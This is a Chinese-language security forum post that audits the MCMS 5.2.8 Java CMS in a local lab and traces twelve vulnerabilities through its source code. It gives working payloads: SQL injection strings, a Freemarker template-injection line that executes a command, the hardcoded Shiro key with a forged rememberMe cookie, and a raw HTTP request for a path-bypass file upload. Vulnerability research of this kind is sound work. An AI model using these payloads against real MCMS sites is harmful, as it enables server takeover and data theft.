MCMS全面审计
xhys 发表于 河南 漏洞分析 2159浏览 · 2024-04-08 06:56

MCMS全面审计

MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。

Mcms的5.2.8是非常经典的版本,我们今天就对他进行审计,争取把所有出现的洞都拿下

搭建过程

官方网址: https://gitee.com/mingSoft/MCMS

先将依赖下载下来

将数据库名字改一下

加载一下mysql文件

导入 doc/mcms-5.2.8.sql

运行MSApplication.java main方法

这里我运行的时候,端口冲突了,改端口的文件在application.yml

然后运行MSApplication.java main方法

访问http://localhost:8000

出现这个是正常的,后面加上路径/ms/login.do

http://localhost:8000/ms/login.do

输入官方给的用户名密码msopen/msopen,登录。

第一个漏洞:前端反射性xss

http://localhost:8000/mcms/search.do

我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper并添加断点,再次触发漏洞,看到一个完整的调用栈, net/mingsoft/basic/filter/XssHttpServletRequestWrapper.java

throw new BusinessException("参数异常:"+ content);此处直接将content原样拼接到报错中

第二个漏洞:文件上传第一处

/ms/file/uploadTemplate.do 打包jsp文件为zip,上传模板即可,前端时间监听,会发送解压请求

修改上传

返回了路径地址

http://localhost:8000/template/1/1709723660886.txt

在源文件中也能找到

路径:src\main\webapp\template\1\

net.mingsoft.basic.action.ManageFileAction#uploadTemplate

定位到上传的地方

我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

上传点不严谨

net.mingsoft.basic.action.BaseFileAction#uploadTemplate

所以绝对路径可以绕过

第三个漏洞文件上传第二处,网站logo

相同的操作

回显了路径

http://localhost:8000/upload/1/appLogo/1709726541909.txt

并且在后台找到

第四个漏洞命令执行

在后台除了上传模版,还有编辑模版


我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入

在后台我们也找到了\src\main\webapp\template\1\default

漏洞分析

net.mingsoft.basic.action.TemplateAction#writeFileContent

我们可以通过fileName写入文件

第五个SQL注入漏洞

1;select if(substring((select database()),1,4)='mcms',sleep(5),1)//and//1&fieldValue=1&id=1&idName=1\

mybatis框架这里就全局搜使用$进行拼接的

路径如下

/net/mingsoft/ms-base/2.1.13/ms-base-2.1.13.jar!/net/mingsoft/base/dao/IBaseDao.xml

进一步跟进queryBySQL

然后在/net/mingsoft/base/biz/impl/BaseBizImpl.java这里进行了重写queryBySQL,然后调用getDao().queryBySQL

然后发现在/net/mingsoft/basic/action/BaseAction.class#validated 验证的时候进行调用

父类validated方法的处理逻辑

validated方法中新建了一个HashMap,然后将字段名filedName和字段值filedValue以键值对的格式加进了map中。然后调用了appBiz.queryBySql方法

继续跟,这时候只要找到前端路由中能调用validated就可以了,然后发现在/net/mingsoft/ms-mdiy/2.1.13.1/ms-mdiy-2.1.13.1-sources.jar!/net/mingsoft/mdiy/action/PageAction.java#verify
调用了validated方法

从源码中发现,在调用vertify方法时传入了String fieldName/String fieldValue/String id/String idName这四个参数。然后调用了父类的validated方法。

验证一下

http://127.0.0.1:8000/ms/mdiy/page/verify.do?fieldName=222&fieldValue=b&id=c&idName=21

四个传入到参数里面

进行布尔判断:

如果verify = false就进如if
如果verify != false就进如else

第六个漏洞,shiro反序列化漏洞

找到key

d3d3bWluZ3NvZnRuZXRtcw==

net.mingsoft.basic.action.TemplateAction通过fileName可以指定目录删除,并且不像文件上传等对…/进行限制,这就导致我们可以通过…/进行任意目录删除

黑盒复现

第七个漏洞文件上传

这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内

net.mingsoft.basic.action.ManageFileAction#upload

虽然存在非法路径过滤函数checkUploadPath,查看函数内容,仅仅是对 ../进行了校验,通过绝对路径仍然可以绕过。

对文件的上传是利用了

net.mingsoft.basic.action.BaseFileAction#upload

漏洞复现

POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8000
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language:zh-CN,zh;q=0.9
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:rememberMe=8g+sOxE9YAfFQLrPf68EhVu1O3t+ojzqle9v7niIoBPQcprUFAgL/jCiAMmN7nRxi/C3wC/aw4FjsSsoYIIPw32OVU40rLZ6t9anywaQH+CdgKAFtdSXWuDYlMFLLNMYg2EBiL5Sa/MvLhZpJoSDVA4qVHNpOL5hH3eT4oqECz9dyEtrm0y5DLAXoedMR9UbeCPkGM9x2E72KaHr/l2DZqQo6aMO3Z5MvZk4Sn/GTZ8I4kbRQH35M9QVYmBFtWMZaNob1XnrKUN3kmwnjMhu1CsdhzR/Uuo/VX4tmzbsGlV0s/JpSu74u+IZwZXT7pyDGZ7XCbTMCPAt2SWxGbaQwIQ9MbHn/Yatqy0C5WBQ7/PXyFXHRIPC/fJ0xkD5Rk2xgXzYrZE4c5ufWdpNF1OZ6W187Vo63dalpy7TGVPk95XKIfxbXXX7VCRV/JQhCRhjPR08Nz9+YzO72oMY+E3zNLmRuQ7oiI1V2f9IazgTQrTIa9DAS+MWlJQX4qZsDVR9WBGxmjp91ozaMIQRoEU5RqRC1xvZKK/oo/KqUWZE/yCaYVh0oi1UPf2wBlhN+XnabPb1CXiqxc0o/7BE2jMGGhakgaCeUxQzdT8ij6b1j56a+GKtnzNL73wzbbLEnc9bjy0Mnlz2222YthPx/32UselOOTDvXyBjyeZMeeEuBpSP2weHyjxwtcWEVJHvMDbA/nK36h9ZVZ1Y2n+B7aRUW8JhWPiEvovXSntp+NKXmNapXO8xsNDNpoU6so1EJz3dV4wFW8aaL7scqA6YRCbXrCYPlHB9MSzdr59iGUmdMTqj5zS3wvTfxxrk7UjA6jIfyo9NuTYKu7d9rsz9txf5Kf8KF9C4s6y4nKHcTU2pinIDBAy7hizEWh5IYHE+3Td3HBvXWEWeKlagfLwFEVm0wiyUK1z+v3qyrssq5bZ9lljRg7DQDYI+rOivpyGLFQk3pKlLtk5dX1Q4eWtZQLJA/u1jOEGyOQLlI8LSidqYgj8A9YEcIcE9Q+2iEi8lMn87k//ATAybXKL9UzlJgcn3X5ZtLxS1M/tuXi+iXr/TCnFIMobiRzBKLtZqVrzPOpUYwYI1Qx2hmpNJY0qz8p5J9TnvPiHtwF/QHbdQVTyKDZb6itpvdohGd0/36Z2ae7X67CrgG1hIbvLvsqK1ofS+u/MTQv3stS+qVfJ50bAMwnt2xk/2qTStUAsBa4dsZp0jAjDBlNpXU5xRYBrTtvsjwJkqhCtMUIYRwtBmEKYfpICg8o5ZUsyCpHDwnOGL2VckFD9bLbYWqC3omWtreGFxO7EsGpbbJSRAQPOy6nFhwOyshAcd4A9B4O9T68G7on10Q3X4Bs5x7ikFMJw=; SHIRO_SESSION_ID=49ef8d09-968d-4c42-86c8-0ff9019475e1
Origin: http://localhost:8000
Referer: http://localhost:8000/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode:cors
Sec-Fetch-Site: same-origin
sec-ch-ua:"Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"

------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"

/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"

true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"

false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html

test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--

同理在后台我们也找到我们刚刚上传的文件

第八个漏洞文件上传

在文章管理地方新建文章,上传的文章缩略图

上传一个zip

http://localhost:8000/ms/template/unZip.do?fileUrl=/upload/1/cms/content/1709908541074.zip

漏洞分析,通过全局搜索

form.ftl这里有个文章缩略图上传点看看他有没有做过滤然后根据action找到上传接口

经过查找在FileAction.class这里只判断了../防止目录跳跃,继续往下看点击继承的那个类

BaseFileAction.class发现他这做了后缀判断,接着看是在哪调用的过滤

denied进行全局搜索

发现只有过滤了.exe,.jsp,.jspx,.sh这些后缀名,说明除了这四个其他均可上传

经过查找TemplateAction.class里有个专门解析zip的接口
那么结合上面的过滤,可以构造以下利用链:上传zip,可以通过zip包含jsp恶意文件上传,然后调用这个接口去解析zip从而解析成jsp,导致恶意jsp文件上传成功

第九处:SSTI注入:Freemarker注入

源码位置在:net\mingsoft\base\util\FtlUtil.java

如果加上cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);漏洞就可以修复

访问指定路由后,会调用generate()生成主页\

其中主要是对map进行一些初始化操作,并通过rendering()进行渲染

最后调用process()进行渲染,造成代码执行

漏洞复现

在模版管理的index.html中打入payload

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

在静态化中生成主页

第十处漏洞Fastjson<=1.2.80反序列化存在但难以利用

在源码中存在fastjson组件

发现存在漏洞,但是难以利用

第十一处漏洞sql注入

思路:MCMS是使用mybaits作为持久层框架的,当在与接口对应的xml文件中使用 ${String} 时,会将String拼接进SQL语句。还有 <include></include>标签,会将一段复用的SQL代码拼接入当前语句中。mybatis的xml有对应java代码interface,xml中的id对应interface中的方法先给出明确的脉络,方便之后跟进不少的代码从xml->interface->impl(实现)->Controller->抓包构造,全局搜索 ${

进入\CategoryDao.xml

跟进include中的net.mingsoft.base.dao.IBaseDao.sqlWhere,文件为net/mingsoft/base/dao/IBaseDao.xml 在jar包中 这里需要注意:

$(item.field)被直接拼接在SQL语句

${item.field},item是collection="sqlWhereList"的别名,也就是${sqlWhereList.field}

传递的参数\sqlWhereList,需要构造的是其中的field

思路回到ICategoryDao.xml,找select id="query"对应的接口

找实现query的类,有三个,但只有一个接收传参 net/mingsoft/base/biz/impl/BaseBizImpl.java

public abstract class BaseBizImpl<M extends BaseMapper<T>,T> extends ServiceImpl<M,T> implements IBaseBiz<T> {

@Override

public List<T> query(BaseEntity entity) {

TODO Auto-generated method stub

return getDao().query(entity);

}
...

}

这是个抽象类,继续找,红线上为库中的,红线下为项目中的,先看项目中的

以net/mingsoft/cms/action/CategoryAction.java为例,获得地址:url为@RequestMapping("/${ms.manager.path}/cms/category")${ms.manager.path}`在配置中为ms

找到了query,categoryBiz.query;还没找到它的参数sqlWhereList,看看CategoryEntity,没有

看父类BaseEntity,找到sqlWhereList和SQLwhere,SQLwhere是[{}]形式,这里还看到一个眼熟的东西,JSONObject.parseArray,

public abstract class  BaseEntity implements Serializable{
...

/

 自定义SQL where条件,需要配合对应dao.xml使用

/

@JsonIgnore
@XmlTransient
@TableField(exist = false)
protected String sqlWhere;
@JsonIgnore
@XmlTransient
public String getSqlWhere() {
    return sqlWhere;
}
  public void setSqlWhere(String sqlWhere) {
    this.sqlWhere = sqlWhere;
}


 @JsonIgnore
@XmlTransient
public List getSqlWhereList() {

    if(StringUtils.isNotBlank(sqlWhere)){

        try {

            return JSONObject.parseArray(sqlWhere,Map.class);

                }catch (Exception e){

            e.printStackTrace();

        }

    }

    return Collections.EMPTY_LIST;

}

...

}

漏洞复现:

对field进行报错注入,将其替换就可以了

第十二处SQL注入

该cms的mybatis映射文件直接写在了dao层,由于${}会有SQL注入问题,所以直接搜索${},发现query方法中,categoryId参数可能存在SQL注入

根据namespace可知该语句的映射接口类是net.mingsoft.cms.dao.IContentDao 在IContentDao中并没有发现query方法,但他继承了IBaseDao,而query就在其中

下面就要看哪里实现了query方法,根据分层逻辑,业务层对应接口类为:net.mingsoft.cms.biz.IContentBiz ,而他的实现类是net.mingsoft.cms.biz.impl.ContentBizImpl而其中没有调用该方法,所以向上找他的父类BaseBizImpl

同样根据分层逻辑,找到了控制层的net.mingsoft.cms.action.web.ContentAction,该层的接口为/cms/content 该类的list方法中,会调用contentBiz属性的query方法参数为content contentBiz是IContentBiz类型的,IContentBiz的实现类是ContentBizImpl,接着他的父类BaseBizImpl实现了query方法 content属性是ContentBean类型的,而ContentBean的父类是CategoryEntity它定义了categoryId属性,并实现了对应的getter、setter方法 这里未对前端用户输入的参数进行过滤,另外该CMS全局也没有针对SQL注入的过滤,所以只需要传入categoryId参数,将查询语句闭合即可导致SQL注入

漏洞复现

由于定义的是PostMapping,因此需要post传参

categoryId=1'and updatexml(1.concat(0x7e.user().0x7e).1)and'1

0 条评论
某人
表情
可输入 255